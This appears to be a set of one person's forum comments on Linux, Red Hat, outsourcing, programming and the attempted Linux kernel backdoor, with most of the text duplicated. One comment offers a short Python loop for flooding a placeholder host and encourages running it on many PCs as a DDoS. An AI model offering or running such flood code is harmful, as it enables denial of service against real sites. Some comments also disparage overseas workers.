Re:Why wouldn't math be known across the universe?
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Could there be some areas of mathematics that humans have discovered...
Math is not discovered, it's made up. One plus one is two because men made rules that make it that way. Also, you can use mathematical models to prove that math is not consistent... Read up on Godel's Theorems. The only thing that makes math work are the rules that we all must accept (these are called axioms). If we do not accept the rules, then math doesn't add up... pardon the pun.
Local jobs are not going over seas. It's the big boys that are sending jobs away, not the local Mom & Pop companies. Concentrate on those and you'll do fine. Here's all you need: Be a native born English speaking American that has a college degree and several years experience in IT. That's it.
Show the local companies how you can provide fast, high-quality service and support 24/7 and they'll pay dearly to secure your services.
Some dude or chick sitting in a cube in Bombay can't help me when 1. Their English sucks 2. I just lost a HDD from mechanical failure. My frustration level will be sky-high from having to deal with these clowns so I'd be thrilled to see a local engineer who clearly understands what I'm saying and who can be a local presence to fix these everyday IT problems. I'd pay him more too because I actually see what I'm paying for.
The moral of this story: Don't work for IBM, HP, Dell or any other mega-IT company because your job will go to India or Pakistan or China. Develop local business contacts and you'll make a killing... I do. Hell, I took several classes in PR (Public Relations) just to sharpen up my business proposals. It's a no-brainer.
Real men type the 1's and 0's in directly. Who needs a sissy assembler to do the translation? I wouldn't hire a programmer who did not know what "011001001100" meant to today's x86 procs.
Ok, let's get real. This is equivelent to saying that unless a farmer gets on his hands and knees to plant 1 seed at a time, he's not a real farmer. Sure, he knows how to operate a $100,000 tractor that can plant several million seeds each day, but his hands-on knowledge of planting seeds isn't near what his great-grandad's was so, he must be less of a farmer... even though his output is thousands of times greater.
HELLO! It's called technology. It's all about advancement. We no longer have to type in the 1's and 0's ourselves. Hell, very few of us need to use assembly. Why was C written? Because all the fucked-up assembly languages in the world do not work together. A program written in XYZ assembly will only run on a XYZ computer, etc.
Today, programming is high-level. Write once... run everywhere (Java, Python, C#). Let's leave this assembly crap, and it is crap, where it belongs... back in the dark ages!
I recently wrote a test DDoS script that used sockets to communicate between the master and slaves. Portscanners (like nmap) never showed any open ports even when the socket script was running on the slaves... waiting for commands. I'm not an experienced, low-level network programmer, so I can't explain exactly how this works, just know what I saw... two programs exchanging commands through network sockets with no ports open.
I heard RMS speak on this once. He suggested that books could be written by professors (the best of the best professors).
Take chemistry for example. A professor could write one or two chapters on subjects that he/she specialize in and then another professor who specializes in another area could write a few chapters, etc. In the end, you'd have a world-class chemistry book written by the best of the best. And it would be easy for each contributor to keep the material up-to-date as they're only responsible for a few chapters at most. The textbook could be given away freely under the GNU license for documentation. This would allow professors who use the book in classes to add or remove material freely.
Call RMS crazy if you like, but models such as this work. Hell, look at GNU/Linux, it's built on this model... Hans Reiser does the best FS work in the world, the FSF provides compilers and libraries that are second to none, Linus Torvalds provides a top-notch kernel and it the end, we all benefit... why can't college textbooks be this way?
We've had 11 out of 14 ibooks with the logic board problem. Apple has fixed *one* out of warranty... it was 13 months old. There has been talk in general of a class-action lawsuit against Apple for this problem. It's an obvious defect. They are *well* aware of it. They have sold *millions* of these defective ibooks. No amount of visits by the regional Apple rep and other Apple PR clowns can fix this. It's a design flaw. A physical defect. We simply stopped buying ibooks.
You don't need a virus to do this... why not write a simple script to do it... it's easy, here's an example in Python:
import urllib
for x in xrange(999999999):
(indent) f = urllib.urlopen("http://www.target-host.com")
(indent) f.read()
(indent) f.close()
You could make this into a function that repeatedly calls itself (upto the maximum recursive limit). So, doing this 999,999,999 times recursively to a depth of 999 will keep it running for quite some time. Now, if you get 999,999,999 PCs doing this all together, then you have something that's real.
I stated a simple fact... Bill Gates has given Billions (that's giga, not mega for all you geeks out there) to help people. Linus Torvalds has not (period). I'm not talking about quality of software, which one is the better geek, etc... I'm talking about which one is helping to find a cure for cancer and AIDS.
Those are the facts. I'm a huge linux fan myself, but when it comes to the real-world (hint... not Slashdot), giving people money to fund research and sending them to uni is what matters, not writing software to give away. Now, if that SW cured cancer or AIDS or sent people to unis, it'd be a different story, but it doesn't... it simply clones a 30 year-old OS and makes it freely available, nothing more. Get a does of reality.
I understand how programs like this send themselves out to others, but how do they collect the email addresses from the user's machine? It seems that the program would run out of steam if it didn't continue finding new addys to mail itself to so it must be very good at gathering addys from the infected machines in order to spread.
Some people use Outlook, others use Eudora, Outlook Express, Pegasus, etc. And, some users have address books that aren't integrated into their local mail app (Web based email clients like webmail). So, how do you write something that will reliably handle all the potential scenarios?
I had hdd failure on a G5 just yesterday. When the system boots and the OS fails to load... all the fans turn on high. It sounded like a turbine cranking up (the fans take a long time to hit full-speed all the while making an ominous whine that gets higher and higher in pitch). It took about 5 mins for it to reach full-speed and when it did I found it almost impossible to hear the Apple technician on the phone over the noise of the G5's fans.
I've often thougth the same thing hundreds of times!!!
I first started programming on a C64. Moved on to Unix shell scripts, C, Python and a few other languages. Most all of my programs are simple and straight-forward and they work! However over the years, I've received many suggestions on rewrites because my code didn't make x,y or z into a function or a class and we all know that functions or classes would be sexier in this situation.
Or, I've heard things like, "That's great, and it's really simple and elegant, but it's not characteristic/ideal C code so we should re-write it to be more like the new x,y or z approach." To me, that's BS. If it ain't broke, then don't fix it. Most of the comments I've gotten like this come from PhD's in CS. They spend inordinate amounts of time thinking up the ideal way to use a language or design programs... to them a simple, easy solution that works isn't very sexy, certainly not interesting... maybe that's why they're always doing rewrites adding classes to languages adding OO capabilities to everyting, etc.
All this reminds me of a friend of mine who is starting to use Linux... he works on building kernels and attempting to configure x,y or z more than he actually uses the computer. This is OK to a point, but after awhile it becomes tedious.
circumlocution - The use of unnecessarily wordy and indirect language. Evasion in speech. Laywer talk.
An example of how to go about confusing a judge or jury while telling the truth in a circular way:
Lawyer for IBM: Did you or did you not place SCO's proprietary code into the Linux kernel for the very purpose of bringing these charges?
Lawyer for SCO: We have never been engaged in a state of non-development with the Linux kernel source code. We have never not distributed it, we have never not contributed code to it and we have most certainly never not used our contributions to bring false charges. Need I say more?
Fortunately it is easy to recognize a Lunix zealot in a job interview. Just ask him what he thinks of Microsoft operating systems in a company network.
You'll have to be more specific than that or you may end up confusing Mac zealots with Linux zealots... similar, but different;)
I don't know much about trademarks and copyrights, but I'm wondering if McDonald's can sue Virginia Tech if the university begins using the name "Big Mac" to refer to this cluster? Obviously it's a lot of Macs that take up a lot of room and power in order to do 10+ teraflops/sec (hence the name "Big Mac") but is it legal to use that name?
If it had not been for Redhat selling copies of its operating system in stores I would not have tried Linux at all.
Same here. I bought RH 6.2 in May 2000, right after I graduated from college. The rest is history. It made me realize how much I missed my old Commodore 64. To me, RH was Linux. It made computing fun, understandable and functional again. Today, after RH told me and countless others to go to hell, I use Debian. They have a social contract with their community... and they honor it.
More importantly, how long into the future will patches/updates be released for each version of Fedora? Will patches for core 1 stop as soon as a core 2 comes out? If so, that would mean constant, never-ending upgrades. To that I say NO!
We've already begun the migration process at work on a mysql database, a few web and ftp servers and a network iptables basde firewall. We're migrating to debian (testing). We hope this type of thing never happens again. Talk about a stab in the back... thanks RH.
They still are good. No activation problems whatsoever. We use "Deploy Center" (used to be called Drive Image) on roughly 450 PCs... laptops and desktops. If you follow the instructions, it works perfectly. Run sysprep (a program from MS that fixes the SID issue) before cloning and that's all there is to it. I've cloned hundreds, perhaps even thousands of machines in the manner.
The "backdoor" that someone attempted to submit was a local privilege elevation bug, not a remote compromise.
You're limiting yourself. Think outside of your box. What if this was one part of a larger work? What if there are bits of code that allow access to the machine first so that the attacker can then seek a way to become root?
1. Get remote access to the machine as any user.
2. Use local root exploit(s) that we built in to the kernel.
You might want to doublecheck that gcc code you're compiling the kernel with...
Good point!!! Hell, wouldn't it be neat if RMS and the GNU people actually flipped out (and they will flip out one day) and replaced every occurence of Linux in the kernel source with GNU/Linux at compile?
#uname -a GNU/Linux 2.4.22 (whether you like it or not, it's true cause we compiled it.)
If a spammer or somebody else was trying to backdoor the Linux kernel in order to gain a large number of machines to infest, then one wonders why they didn't put in a remote root exploit.
We saw the code that was used to gain root access locally on the machine. Perhaps the bit of code (buried elsewhere in the source) that allowed for remote access as a normal user has yet to be found, no?
a small school like that can't afford to fail, even building a relatively cheap supercomputer.
Dude, get your facts straight... it's the largest university in Virginia. 25,000 undergrads alone. I did my undergrad their... Phi Beta Kappa class of 2000.
I can't wait. I just hope RedHat 10 includes a 2.6 kernel..."
There isn't going to be a RedHat 10. RH decided to fuck all of their loyal follwers and concentrate on their "corporate" customers. Go to redhat.com and read about Fedora. I miss Alan Cox, will he go back to work for the RH bastards after he finishes his Masters?
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Could there be some areas of mathematics that humans have discovered...
Math is not discovered, it's made up. One plus one is two because men made rules that make it that way. Also, you can use mathematical models to prove that math is not consistent... Read up on Godel's Theorems. The only thing that makes math work are the rules that we all must accept (these are called axioms). If we do not accept the rules, then math doesn't add up... pardon the pun.
Local jobs are not going over seas. It's the big boys that are sending jobs away, not the local Mom & Pop companies. Concentrate on those and you'll do fine. Here's all you need: Be a native born English speaking American that has a college degree and several years experience in IT. That's it.
Show the local companies how you can provide fast, high-quality service and support 24/7 and they'll pay dearly to secure your services.
Some dude or chick sitting in a cube in Bombay can't help me when 1. Their English sucks 2. I just lost a HDD from mechanical failure. My frustration level will be sky-high from having to deal with these clowns so I'd be thrilled to see a local engineer who clearly understands what I'm saying and who can be a local presence to fix these everyday IT problems. I'd pay him more too because I actually see what I'm paying for.
The moral of this story: Don't work for IBM, HP, Dell or any other mega-IT company because your job will go to India or Pakistan or China. Develop local business contacts and you'll make a killing... I do. Hell, I took several classes in PR (Public Relations) just to sharpen up my business proposals. It's a no-brainer.
Real men type the 1's and 0's in directly. Who needs a sissy assembler to do the translation? I wouldn't hire a programmer who did not know what "011001001100" meant to today's x86 procs.
Ok, let's get real. This is equivelent to saying that unless a farmer gets on his hands and knees to plant 1 seed at a time, he's not a real farmer. Sure, he knows how to operate a $100,000 tractor that can plant several million seeds each day, but his hands-on knowledge of planting seeds isn't near what his great-grandad's was so, he must be less of a farmer... even though his output is thousands of times greater.
HELLO! It's called technology. It's all about advancement. We no longer have to type in the 1's and 0's ourselves. Hell, very few of us need to use assembly. Why was C written? Because all the fucked-up assembly languages in the world do not work together. A program written in XYZ assembly will only run on a XYZ computer, etc.
Today, programming is high-level. Write once... run everywhere (Java, Python, C#). Let's leave this assembly crap, and it is crap, where it belongs... back in the dark ages!
I recently wrote a test DDoS script that used sockets to communicate between the master and slaves. Portscanners (like nmap) never showed any open ports even when the socket script was running on the slaves... waiting for commands. I'm not an experienced, low-level network programmer, so I can't explain exactly how this works, just know what I saw... two programs exchanging commands through network sockets with no ports open.
I heard RMS speak on this once. He suggested that books could be written by professors (the best of the best professors).
Take chemistry for example. A professor could write one or two chapters on subjects that he/she specialize in and then another professor who specializes in another area could write a few chapters, etc. In the end, you'd have a world-class chemistry book written by the best of the best. And it would be easy for each contributor to keep the material up-to-date as they're only responsible for a few chapters at most. The textbook could be given away freely under the GNU license for documentation. This would allow professors who use the book in classes to add or remove material freely.
Call RMS crazy if you like, but models such as this work. Hell, look at GNU/Linux, it's built on this model... Hans Reiser does the best FS work in the world, the FSF provides compilers and libraries that are second to none, Linus Torvalds provides a top-notch kernel and it the end, we all benefit... why can't college textbooks be this way?
We've had 11 out of 14 ibooks with the logic board problem. Apple has fixed *one* out of warranty... it was 13 months old. There has been talk in general of a class-action lawsuit against Apple for this problem. It's an obvious defect. They are *well* aware of it. They have sold *millions* of these defective ibooks. No amount of visits by the regional Apple rep and other Apple PR clowns can fix this. It's a design flaw. A physical defect. We simply stopped buying ibooks.
You don't need a virus to do this... why not write a simple script to do it... it's easy, here's an example in Python:
import urllib
for x in xrange(999999999):
(indent) f = urllib.urlopen("http://www.target-host.com")
(indent) f.read()
(indent) f.close()
You could make this into a function that repeatedly calls itself (upto the maximum recursive limit). So, doing this 999,999,999 times recursively to a depth of 999 will keep it running for quite some time. Now, if you get 999,999,999 PCs doing this all together, then you have something that's real.
This is Slashdot, not reality.
I stated a simple fact... Bill Gates has given Billions (that's giga, not mega for all you geeks out there) to help people. Linus Torvalds has not (period). I'm not talking about quality of software, which one is the better geek, etc... I'm talking about which one is helping to find a cure for cancer and AIDS.
Those are the facts. I'm a huge linux fan myself, but when it comes to the real-world (hint... not Slashdot), giving people money to fund research and sending them to uni is what matters, not writing software to give away. Now, if that SW cured cancer or AIDS or sent people to unis, it'd be a different story, but it doesn't... it simply clones a 30 year-old OS and makes it freely available, nothing more. Get a does of reality.
Let's see... Mr. Gates has donated billions to charities, AIDs research, etc. How much has Linus donated?
I understand how programs like this send themselves out to others, but how do they collect the email addresses from the user's machine? It seems that the program would run out of steam if it didn't continue finding new addys to mail itself to so it must be very good at gathering addys from the infected machines in order to spread.
Some people use Outlook, others use Eudora, Outlook Express, Pegasus, etc. And, some users have address books that aren't integrated into their local mail app (Web based email clients like webmail). So, how do you write something that will reliably handle all the potential scenarios?
I had hdd failure on a G5 just yesterday. When the system boots and the OS fails to load... all the fans turn on high. It sounded like a turbine cranking up (the fans take a long time to hit full-speed all the while making an ominous whine that gets higher and higher in pitch). It took about 5 mins for it to reach full-speed and when it did I found it almost impossible to hear the Apple technician on the phone over the noise of the G5's fans.
I've often thougth the same thing hundreds of times!!!
I first started programming on a C64. Moved on to Unix shell scripts, C, Python and a few other languages. Most all of my programs are simple and straight-forward and they work! However over the years, I've received many suggestions on rewrites because my code didn't make x,y or z into a function or a class and we all know that functions or classes would be sexier in this situation.
Or, I've heard things like, "That's great, and it's really simple and elegant, but it's not characteristic/ideal C code so we should re-write it to be more like the new x,y or z approach." To me, that's BS. If it ain't broke, then don't fix it. Most of the comments I've gotten like this come from PhD's in CS. They spend inordinate amounts of time thinking up the ideal way to use a language or design programs... to them a simple, easy solution that works isn't very sexy, certainly not interesting... maybe that's why they're always doing rewrites adding classes to languages adding OO capabilities to everyting, etc.
All this reminds me of a friend of mine who is starting to use Linux... he works on building kernels and attempting to configure x,y or z more than he actually uses the computer. This is OK to a point, but after awhile it becomes tedious.
circumlocution - The use of unnecessarily wordy and indirect language. Evasion in speech. Laywer talk.
An example of how to go about confusing a judge or jury while telling the truth in a circular way:
Lawyer for IBM: Did you or did you not place SCO's proprietary code into the Linux kernel for the very purpose of bringing these charges?
Lawyer for SCO: We have never been engaged in a state of non-development with the Linux kernel source code. We have never not distributed it, we have never not contributed code to it and we have most certainly never not used our contributions to bring false charges. Need I say more?
Fortunately it is easy to recognize a Lunix zealot in a job interview. Just ask him what he thinks of Microsoft operating systems in a company network.
;)
You'll have to be more specific than that or you may end up confusing Mac zealots with Linux zealots... similar, but different
Window$ doesn't have a kernel; a rat's nest, maybe, but certainly not a kernel...
Try deleting that "kernel32.dll" file on your Windows machine and see what happens... all OSes have a kernel of some sort.
I don't know much about trademarks and copyrights, but I'm wondering if McDonald's can sue Virginia Tech if the university begins using the name "Big Mac" to refer to this cluster? Obviously it's a lot of Macs that take up a lot of room and power in order to do 10+ teraflops/sec (hence the name "Big Mac") but is it legal to use that name?
Currently I am running Redhat 8.1
Dude, there was no RH 8.1... it went like this: 7.0- 7.1- 7.2- 7.3- 8.0- 9.0
Now, tell me why I should believe anything else you wrote if you can't keep simple facts straight??
If it had not been for Redhat selling copies of its operating system in stores I would not have tried Linux at all.
Same here. I bought RH 6.2 in May 2000, right after I graduated from college. The rest is history. It made me realize how much I missed my old Commodore 64. To me, RH was Linux. It made computing fun, understandable and functional again. Today, after RH told me and countless others to go to hell, I use Debian. They have a social contract with their community... and they honor it.
More importantly, how long into the future will patches/updates be released for each version of Fedora? Will patches for core 1 stop as soon as a core 2 comes out? If so, that would mean constant, never-ending upgrades. To that I say NO!
We've already begun the migration process at work on a mysql database, a few web and ftp servers and a network iptables basde firewall. We're migrating to debian (testing). We hope this type of thing never happens again. Talk about a stab in the back... thanks RH.
They still are good. No activation problems whatsoever. We use "Deploy Center" (used to be called Drive Image) on roughly 450 PCs... laptops and desktops. If you follow the instructions, it works perfectly. Run sysprep (a program from MS that fixes the SID issue) before cloning and that's all there is to it. I've cloned hundreds, perhaps even thousands of machines in the manner.
The "backdoor" that someone attempted to submit was a local privilege elevation bug, not a remote compromise.
You're limiting yourself. Think outside of your box. What if this was one part of a larger work? What if there are bits of code that allow access to the machine first so that the attacker can then seek a way to become root?
1. Get remote access to the machine as any user.
2. Use local root exploit(s) that we built in to the kernel.
Think about it.
You might want to doublecheck that gcc code you're compiling the kernel with...
Good point!!! Hell, wouldn't it be neat if RMS and the GNU people actually flipped out (and they will flip out one day) and replaced every occurence of Linux in the kernel source with GNU/Linux at compile?
#uname -a GNU/Linux 2.4.22 (whether you like it or not, it's true cause we compiled it.)
If a spammer or somebody else was trying to backdoor the Linux kernel in order to gain a large number of machines to infest, then one wonders why they didn't put in a remote root exploit.
We saw the code that was used to gain root access locally on the machine. Perhaps the bit of code (buried elsewhere in the source) that allowed for remote access as a normal user has yet to be found, no?
a small school like that can't afford to fail, even building a relatively cheap supercomputer.
Dude, get your facts straight... it's the largest university in Virginia. 25,000 undergrads alone. I did my undergrad their... Phi Beta Kappa class of 2000.
I can't wait. I just hope RedHat 10 includes a 2.6 kernel..."
There isn't going to be a RedHat 10. RH decided to fuck all of their loyal follwers and concentrate on their "corporate" customers. Go to redhat.com and read about Fedora. I miss Alan Cox, will he go back to work for the RH bastards after he finishes his Masters?